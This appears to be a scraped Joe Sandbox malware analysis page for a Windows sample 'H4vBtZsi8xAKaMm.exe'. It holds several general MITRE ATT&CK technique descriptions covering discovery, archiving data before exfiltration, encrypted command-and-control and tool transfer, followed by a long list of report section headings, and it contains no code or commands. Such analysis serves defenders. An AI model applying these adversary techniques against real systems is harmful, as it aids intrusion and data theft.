Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report H4vBtZsi8xAKaMm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary

Jbx Signature Overview

AV Detection

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\H4vBtZsi8xAKaMm.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

Windows Analysis Report
H4vBtZsi8xAKaMm.exe